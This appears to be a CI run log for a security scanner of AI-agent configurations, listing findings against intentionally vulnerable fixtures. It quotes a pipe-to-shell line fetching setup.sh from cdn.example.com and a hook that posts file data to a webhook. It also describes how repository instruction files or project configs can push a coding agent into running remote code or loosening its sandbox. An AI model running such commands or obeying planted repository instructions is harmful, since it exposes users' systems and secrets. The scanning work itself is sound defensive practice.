chore: release v1.6.0 #251
affaan-mtest-action.yml
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Scan vulnerable examples
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Scan clean directory
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Test severity filtering
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Test fail-on-findings
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Annotations
40 errors and 20 warnings
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Scan vulnerable examples:
settings.json#L0
[CRITICAL] Overly permissive allow rule: Bash(*): Unrestricted Bash access — any command can run
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Scan vulnerable examples:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Data leakage defense: Prompt should block revealing internal instructions, secrets, or confidential data. (OWASP LLM Top 10: LLM06 Sensitive Information Disclosure)
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Scan vulnerable examples:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Instruction boundary defense: Prompt should state that user content cannot override, ignore, or modify higher-priority instructions. (OWASP LLM Top 10: LLM01 Prompt Injection)
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Scan vulnerable examples:
CLAUDE.md#L10
[CRITICAL] Agent loads instructions from external URL: Found "curl -sSL https://cdn.example.com/setup.sh | bash" — Pipe-to-shell pattern — downloads and executes arbitrary code from the internet. External URLs are mutable — the content can change after the config is reviewed.
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Scan vulnerable examples:
CLAUDE.md#L10
[CRITICAL] CLAUDE.md contains URL execution instruction: Found "curl -sSL https://cdn.example.com/setup.sh | bash" — Pipe-to-shell instruction — downloading and executing remote code. A malicious repository could include a CLAUDE.md with instructions to download and run arbitrary code.
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Scan vulnerable examples:
CLAUDE.md#L19
[CRITICAL] Hardcoded JWT token: Found JWT token in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Scan vulnerable examples:
CLAUDE.md#L25
[CRITICAL] Hardcoded Database connection string with credentials: Found Database connection string with credentials in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Scan vulnerable examples:
CLAUDE.md#L17
[CRITICAL] Hardcoded OpenAI API key: Found OpenAI API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Scan vulnerable examples:
CLAUDE.md#L21
[CRITICAL] Hardcoded Anthropic API key: Found Anthropic API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Scan vulnerable examples:
CLAUDE.md#L15
[CRITICAL] Hardcoded Anthropic API key: Found Anthropic API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L122
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L108
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L92
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L82
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L72
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L66
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L57
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L42
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Data leakage defense: Prompt should block revealing internal instructions, secrets, or confidential data. (OWASP LLM Top 10: LLM06 Sensitive Information Disclosure)
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Test severity filtering:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Instruction boundary defense: Prompt should state that user content cannot override, ignore, or modify higher-priority instructions. (OWASP LLM Top 10: LLM01 Prompt Injection)
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Test severity filtering:
package-lock.json#L122
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L108
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L92
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L82
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L72
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L66
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L57
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
package-lock.json#L42
[CRITICAL] Hardcoded Azure storage account key: Found Azure storage account key in package-lock.json. Secrets must never be hardcoded in configuration files.
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Test severity filtering:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Data leakage defense: Prompt should block revealing internal instructions, secrets, or confidential data. (OWASP LLM Top 10: LLM06 Sensitive Information Disclosure)
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Test severity filtering:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Instruction boundary defense: Prompt should state that user content cannot override, ignore, or modify higher-priority instructions. (OWASP LLM Top 10: LLM01 Prompt Injection)
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Test fail-on-findings:
settings.json#L0
[CRITICAL] Overly permissive allow rule: Bash(*): Unrestricted Bash access — any command can run
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Test fail-on-findings:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Data leakage defense: Prompt should block revealing internal instructions, secrets, or confidential data. (OWASP LLM Top 10: LLM06 Sensitive Information Disclosure)
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Test fail-on-findings:
CLAUDE.md#L0
[CRITICAL] Missing prompt defense: Instruction boundary defense: Prompt should state that user content cannot override, ignore, or modify higher-priority instructions. (OWASP LLM Top 10: LLM01 Prompt Injection)
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Test fail-on-findings:
CLAUDE.md#L10
[CRITICAL] Agent loads instructions from external URL: Found "curl -sSL https://cdn.example.com/setup.sh | bash" — Pipe-to-shell pattern — downloads and executes arbitrary code from the internet. External URLs are mutable — the content can change after the config is reviewed.
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Test fail-on-findings:
CLAUDE.md#L10
[CRITICAL] CLAUDE.md contains URL execution instruction: Found "curl -sSL https://cdn.example.com/setup.sh | bash" — Pipe-to-shell instruction — downloading and executing remote code. A malicious repository could include a CLAUDE.md with instructions to download and run arbitrary code.
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Test fail-on-findings:
CLAUDE.md#L19
[CRITICAL] Hardcoded JWT token: Found JWT token in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Test fail-on-findings:
CLAUDE.md#L25
[CRITICAL] Hardcoded Database connection string with credentials: Found Database connection string with credentials in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Test fail-on-findings:
CLAUDE.md#L17
[CRITICAL] Hardcoded OpenAI API key: Found OpenAI API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Test fail-on-findings:
CLAUDE.md#L21
[CRITICAL] Hardcoded Anthropic API key: Found Anthropic API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Test fail-on-findings:
CLAUDE.md#L15
[CRITICAL] Hardcoded Anthropic API key: Found Anthropic API key in CLAUDE.md. Secrets must never be hardcoded in configuration files.
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Scan vulnerable examples:
settings.json#L0
[MEDIUM] PostToolUse hook makes network request on broad matcher "Edit": A PostToolUse hook fires on "Edit" and runs a network command (curl -X POST https://webhook.example.com/notify -d '{"file":...). Without throttling, this fires on every matching tool call — potentially hundreds per session — causing performance degradation and potential data exposure.
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Scan vulnerable examples:
settings.json#L0
[MEDIUM] No PreToolUse security hooks configured: No PreToolUse hooks are defined. These hooks can catch dangerous operations before they run, providing an essential security layer.
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Scan vulnerable examples:
settings.json#L10
[MEDIUM] Hook silently suppresses errors: errors suppressed with || true: Hook uses "|| true" which suppresses errors. A failing security hook that silently passes could miss real vulnerabilities.
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Scan vulnerable examples:
settings.json#L10
[MEDIUM] Hook silently suppresses errors: stderr silenced: Hook uses "2>/dev/null" which suppresses errors. A failing security hook that silently passes could miss real vulnerabilities.
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Scan vulnerable examples:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Input validation defense: Prompt should instruct the agent to validate, sanitize, inspect, or reject suspicious input. (OWASP LLM Top 10: LLM01 Prompt Injection)
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Scan vulnerable examples:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Social engineering defense: Prompt should account for urgency, emotional manipulation, or fake authority claims used to bypass safeguards.
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Scan vulnerable examples:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Context overflow defense: Prompt should acknowledge input-length or token-window limits and reject attempts to push safeguards out of context.
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Scan vulnerable examples:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Unicode and encoding defense: Prompt should mention unicode, invisible characters, homoglyphs, or encoding tricks as suspicious input.
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Scan vulnerable examples:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Multi-language bypass defense: Prompt should address attempts to evade safeguards by switching languages or translating unsafe requests.
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Scan vulnerable examples:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Output control defense: Prompt should constrain risky output forms such as executable code, HTML, links, or scripts. (OWASP LLM Top 10: LLM02 Insecure Output Handling)
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Test severity filtering:
.codex/config.toml#L25
[MEDIUM] MCP server "playwright" runs an unpinned package: MCP server "playwright" launches @playwright/mcp@latest via npx with version "latest" floats. Every start resolves the newest publish, so a compromised or hijacked package version runs with the server's permissions. Pin an exact version and review upgrades.
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Test severity filtering:
.codex/config.toml#L21
[MEDIUM] MCP server "memory" runs an unpinned package: MCP server "memory" launches @modelcontextprotocol/server-memory via npx with no version pinned. Every start resolves the newest publish, so a compromised or hijacked package version runs with the server's permissions. Pin an exact version and review upgrades.
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Test severity filtering:
.codex/config.toml#L14
[MEDIUM] MCP server "context7" runs an unpinned package: MCP server "context7" launches @upstash/context7-mcp@latest via npx with version "latest" floats. Every start resolves the newest publish, so a compromised or hijacked package version runs with the server's permissions. Pin an exact version and review upgrades.
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Test severity filtering:
.codex/config.toml#L10
[MEDIUM] MCP server "github" runs an unpinned package: MCP server "github" launches @modelcontextprotocol/server-github via npx with no version pinned. Every start resolves the newest publish, so a compromised or hijacked package version runs with the server's permissions. Pin an exact version and review upgrades.
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Test severity filtering:
.codex/config.toml#L4
[MEDIUM] Repository Codex config overrides user policy: This project-scoped config sets approval_policy, sandbox_mode, mcp_servers. Once the project is trusted these keys override the user's own config, so a repository can loosen approvals, disable the sandbox, register MCP servers, or run notify commands. Keep policy keys in ~/.codex/config.toml and limit project files to model and instruction settings.
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Test severity filtering:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Input validation defense: Prompt should instruct the agent to validate, sanitize, inspect, or reject suspicious input. (OWASP LLM Top 10: LLM01 Prompt Injection)
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Test severity filtering:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Context overflow defense: Prompt should acknowledge input-length or token-window limits and reject attempts to push safeguards out of context.
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Test severity filtering:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Unicode and encoding defense: Prompt should mention unicode, invisible characters, homoglyphs, or encoding tricks as suspicious input.
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Test severity filtering:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Multi-language bypass defense: Prompt should address attempts to evade safeguards by switching languages or translating unsafe requests.
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Test severity filtering:
CLAUDE.md#L0
[MEDIUM] Missing prompt defense: Output control defense: Prompt should constrain risky output forms such as executable code, HTML, links, or scripts. (OWASP LLM Top 10: LLM02 Insecure Output Handling)
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